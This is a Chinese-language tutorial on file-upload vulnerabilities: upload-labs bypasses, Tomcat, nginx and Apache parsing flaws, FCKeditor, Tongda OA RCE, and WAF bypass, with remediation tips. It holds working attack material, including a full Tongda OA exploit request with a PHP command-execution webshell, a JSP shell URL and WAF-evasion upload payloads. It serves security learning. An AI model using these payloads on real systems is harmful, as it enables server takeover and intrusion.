条件竞争就是两个或者多个进程或者线程同时处理一个资源(全局变量,文件)产生非预想的执行效果,从而产生程序执行流的改变,从而达到攻击的目的。
-
并发,即至少存在两个并发执行流。这里的执行流包括线程,进程,任务等级别的执行流。
-
共享对象,即多个并发流会访问同一对象。常见的共享对象有共享内存,文件系统,信号。一般来说,这些共享对象是用来使得多个程序执行流相互交流。此外,我们称访问共享对象的代码为临界区。在正常写代码时,这部分应该加锁。
-
改变对象,即至少有一个控制流会改变竞争对象的状态。因为如果程序只是对对象进行读操作,那么并不会产生条件竞争。
源码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
从代码中发现只允许上传’jpg’,‘png’,‘gif’,且文件是先移动到$upload_file这个路径,随后在进行判断后缀,也就是说,这个地方存在逻辑漏洞,所以我们用条件竞争。
我们可以通过快速发包让文件处于读取状态下,利用文件包含漏洞去包含图片。
实操
首先burp进行发包
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NYEo7rks-1680057741290)(https://gitee.com/qweerq/mark/raw/master/1/202303291037820.png)]
这个时候系统来不及修改名称
利用文件包含漏洞进行访问
第十九关
(条件竞争)
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
......
......
......
};
从代码中我们能看出整个上传流程为:isUploadedFile先检查一下文件是否通过httppost方式上传的。Setdir方法来设置我们要上传的目录,checkExtension方法检查文件扩展名,checkSize方法检查文件大小,move移动到指定目录。checkFileExists方法检查文件中是否有相同文件,renameFile方法对文件进行重命名,这个地方存在逻辑漏洞。
我们可以先上传图片码,在没有修改名字之前,利用文件包含漏洞去包含图片。
实操
首先burp进行发包
这个时候系统来不及修改名称
利用文件包含漏洞进行访问
第二十关
文件名可控绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
首先通过file_name获取文件名称,filename获取文件名称,file_ext截取文件后缀,随后进行对比,对比之后直接移动到上传目录。此处我们利用%00截断。
实操
首先上传php文件然后利用burp进行修改,同样%00需要进行解码,解码方式与第十三关一致。
第二十一关
(数组绕过)
代码分析
$is_upload = false;
$msg = null;
//判断文件名空
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
首先我们看到代码中先对文件名判断是否为空,通过 in_array判断文件是否为数组
在对文件类型进行检测。
$file[count($file) - 1
取出数组第2位即jpg等,判断文件后缀是不是定义好的
绕过方法:
我们在上传php文件的时候把文件类型修改一下就可以了。然后获取文件的名称,判断文件名称是否为数组形式,如果我们上传的是正常的文件,显然他就不是数组,不是数组的话那么他就会将文件名称全部转换为小写,并且以点分割为两个数组。
如果我们上传的的是数组文件,那么11-13行代码将不执行。随后end函数获取数组的最后一个与白名单进行对比。对比通过后执行else中的文件,那么我们怎样才能让他通过呢,我们可以将save_name[]=xxx.php,save_name[2]=png,这样的end函数取最后一位的时候取得就是png,接着向下执行,reset函数去数组中的第一个值,此时取得xxx.php,中间有个逗号,再然后通过conunt函数获取数组中的个数,此时我们数组中的个数为2,然后减去1,等于1,但是我们的数组中save_name[1]不存在,那也就没有了,随意文件名称拼接下来就是xxx.php.,而在windows中点会被省略,所以我们最后上传的就是xxx.php。
实操
中间件解析漏洞
web中间件漏洞是非常常见的漏洞,主要原因还是其用户配置不当造成的,修改相关的配置就可以恢复!
常见中间件漏洞解析后缀
tomcat文件解析漏洞
Tomcat文件包含漏洞(CNVD-2020-10487,对应漏洞编号CVE-2020-1938)
CVE-2017-12615
环境搭建https://vulhub.org/#/environments/tomcat/CVE-2017-12615/
apache文件解析漏洞与用户的配置有密切关系。严格来说属于用户配置问题。
一个重要文件/etc/mime.types这里记录了大量的文件后缀和mime类型,当客户端请求一个文件的时候如果后缀在这个列表里,那么apache就返回对应的content-type给游览器如果没有就不会返回而是直接返回文件内容由游览器自动处理。
漏洞网站:
https://www.cnblogs.com/kztm/articles/15842911.html
漏洞利用条件
-
Apache Tomcat 7.0.0 - 7.0.81
-
需Tomcat开启了HTTP PUT请求
漏洞复现
CVE-2017-12615Tomcat远程代码执行漏洞(PUT请求)
远程代码执行漏洞(CVE-2017-12615) 影响:Apache Tomcat 7.0.0 - 7.0.79(7.0.81修复不完全)当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法,攻击者通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行,危害十分严重
1.访问ip:port
2.burp修改数据包
使用burp进行抓包,将请求包发送到repeater模块中,将GET请求方法改为OPTIONS,查看请求方法
3.发现启用了PUT方法,使用PUT请求上传jsp木马
页面状态码返回201,表示木马写入成功
4.到页面中访问(ip+shell.jsp)
url: http://219.153.49.228:47195/shell.jsp?cmd=ls /&pwd=023
nginx解析漏洞
环境搭建:https://vulhub.org/#/environments/nginx/nginx_parsing_vulnerability/
正常上传一张图片马
后在URL后面添加/xx.php 文件名随便
apache解析漏洞
需要低版本的apache
一、未知扩展名解析漏洞
漏洞原理
Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “ .owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。
利用场景:
如果对方中间件apache属于低版本,我们可以利用文件上传上传一个无法识别的后缀,利用解析漏洞规则成功解析文件,其中后门代码被触发。
漏洞形式
www.xxxx.xxx.com/test.php.xxx
复现:
phpstudy部署apache
访问1.txt.xxx,php可以向前解析
**二、换行解析漏洞
换行 符号 %0A
形成原因:
1)查看网页的html代码可知,该文件上传时采用黑名单形式过滤掉php文件
2)配置文件中设置正则表达式 对象的 Multiline 属性
$ 还会匹配到字符串结尾的换行符,这导致在上传时,添加一个换行符也能被正常解析,并且能够绕过系统的黑名单检测。
漏洞复现
在漏洞目录运行容器
[root@localhost CVE-2017-15715]# docker-compose up -d
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XNPP8vuR-1680057741296)(16-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.assets/1655811909_62b1af457d8e020f05935.png!small)]
构造一个简单的php文件
<?php phpinfo(); ?>
打开bp,抓取上传数据包;
选择16进制,找到文件上传后的名字,默认为evil.php寻找l6进制编码 70 68 70分别对应 php,在第二个70的后方右键,点击 insert byte… ,然后插入换行符0a 点击确定进行插入。
放行数据包,访问上传的文件,成功看到phpinfo信息。要加%0A
漏洞防御方法:
1,升级apache版本
2,对上传的文件进行重命名
3,上传时采用白名单的验证方式
编辑器漏洞
fckeditor 编辑器漏洞分析
既然是编辑器 那个就直接找上传点呗。默认的fckeditor 的上传地方是
/editor/filemanager/browser/default/connectors/test.html
/editor/filemanager/upload/test.html
/editor/filemanager/connectors/test.html
/editor/filemanager/connectors/uploadtest.html
本次环境发现上传点是/editor/filemanager/connectors/test.html
先别急着上传,fckeditor编辑器可以找到编辑器的版本,如果有版本漏洞可以直接利用。
查看编辑器版本:
http://x.x.x.x:47989/fckeditor/_whatsnew.html
直接搜编辑器版本漏洞
找到了,那我们就直接利用,不做无畏的挣扎。哈哈,恰好主机系统windows/iis 6。
抓包 改文件名为a.asp;jpg 利用的就是windows/iis 6解析漏洞
上传成功后点击箭头所指,我忘了点击哪一个了都试一试,然后就能得到路径和文件名
直接菜刀等工具连接就行了。
几种常见CMS文件上传简要演示
通达oA系统
https://pan.baidu.com/s/15gcdBuOFrN1F9xVN7Q7GSA 密码enqx
通达OA文件上传+文件包含漏洞复现
0x00 漏洞简述
该漏洞在绕过身份验证的情况下通过文件上传漏洞上传恶意php文件,组合文件包含漏洞最终造成远程代码执行漏洞,从而导致可以控制服务器system权限。
0x01 漏洞分析
在通达OA上传漏洞中,上传文件upload.php文件中存在一个 p 参数,如果 p参数,如果 p参数,如果p非空就可以跳过auth.php验证机制,话不多说直接上源码:
文件包含漏洞存在于geteway.php文件中,可直接包含url
0x02 漏洞复现
下载安装通达OA并访问
访问上传目录,我使用的是V11版本,路径为:ispirit/im/upload.php
Burp抓包构造数据包上传文件,POC为:
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.1.106
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
发送poc
上传成功;上传成功后访问文件包含路径/ispirit/interface/geteway.php
burp抓包构造数据包:
POST /mac/gateway.php HTTP/1.1
Host: 10.10.20.116:88(根据自己的IP而定)
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 69
Content-Type: application/x-www-form-urlencoded
json={"url":"/general/../../attach/im/2003/941633647.jpg"}&cmd=whoami
发送指令可发现命令执行成功:
也可以使用POC工具
https://github.com/M4tir/tongda-oa-tools
https://github.com/fuhei/tongda_rce
0x03 修复建议
更新官方补丁。
文件上传waf绕过
waf实体字段
上传参数名解析:明确有哪些东西能修改?
Content-Disposition:表单数据 一般可更改
name: 表单参数值,不能更改
filename :文件名,可以更改
Content-Type:文件MIME,视情况更改
pikachu+安全狗绕过
一、数据溢出
正常上传的情况
被安全狗拦截的情况
修改数据包上传Content-Disposition: form-data; name="uploadfile";
中间插入大量的垃圾数据从而绕过
二、改变符号
去掉双/单引号
Content-Disposition: form-data;name="uploadfile"; filename='info4.php
Content-Type: image/jpeg
只使用一个双引号,成功上传文件info5.php
-----------------------------276594773132894662704244861418
Content-Disposition: form-data;name="uploadfile"; filename="info5.php
三、%00截断
使用%00截断,添加合法后缀名
格式:文件名.php%00.png
updata+安全狗绕过
一、数据溢出
二、改变符号
三 、%00截断
使用%00截断,添加合法后缀名
格式:文件名.jpg;%00.php
四、换行执行
-----------------------------156187617541967037312717027348
Content-Disposition: form-data; name="upload_file"; filename="x.
p
h
p"
Content-Type: image/jpeg
<?php phpinfo(); ?>
-----------------------------156187617541967037312717027348
Content-Disposition: form-data; name="submit"
fuzz字典
下载连接:
https://github.com/fuzzdb-project/fuzzdb
https://github.com/TheKingOfDuck/fuzzDicts
https://github.com/TuuuNya/fuzz_dict
https://github.com/jas502n/fuzz-wooyun-org
文件上传安全修复方案
#文件上传安全修复方案
后端验证:采用服务端验证模式
后缀检测:基于黑名单,白名单过滤
MIME 检测:基于上传自带类型检测
内容检测:文件头,完整性检测
自带函数过滤:参考 uploadlabs 函数
自定义函数过滤:function check_file(){}
WAF 防护产品:宝塔,云盾,安全公司产品等
Fuxploider:一款针对文件上传漏洞的安全检测与研究工具
工具下载
由于该工具基于Python 3.6开发,因此我们首先需要在本地设备上安装并配置好Python 3.6+环境。
接下来,广大研究人员可以使用下列命令将该项目源码克隆至本地:
git clone https://github.com/almandin/fuxploider.git
然后切换到项目目录中,使用pip3和项目提供的requirements.txt文件来安装该工具所需的依赖组件:
cd fuxploider
pip3 install -r requirements.txt
如果你在使用pip遇到问题的话,可以尝试使用下列命令:
python3 -m pip install -r requirements.txt
Docker安装
构建Docker镜像:
docker build -t almandin/fuxploider .
工具使用
下列命令可以直接获取工具的基础命令选项:
python3 fuxploider.py -h
工具使用样例
python3 fuxploider.py --url https://awesomeFileUploadService.com --not-regex "wrong file type"
工具使用演示
许可证协议
本项目的开发与发布遵循GPL-3.0开源许可证协议。
项目地址
Fuxploider:【GitHub传送门】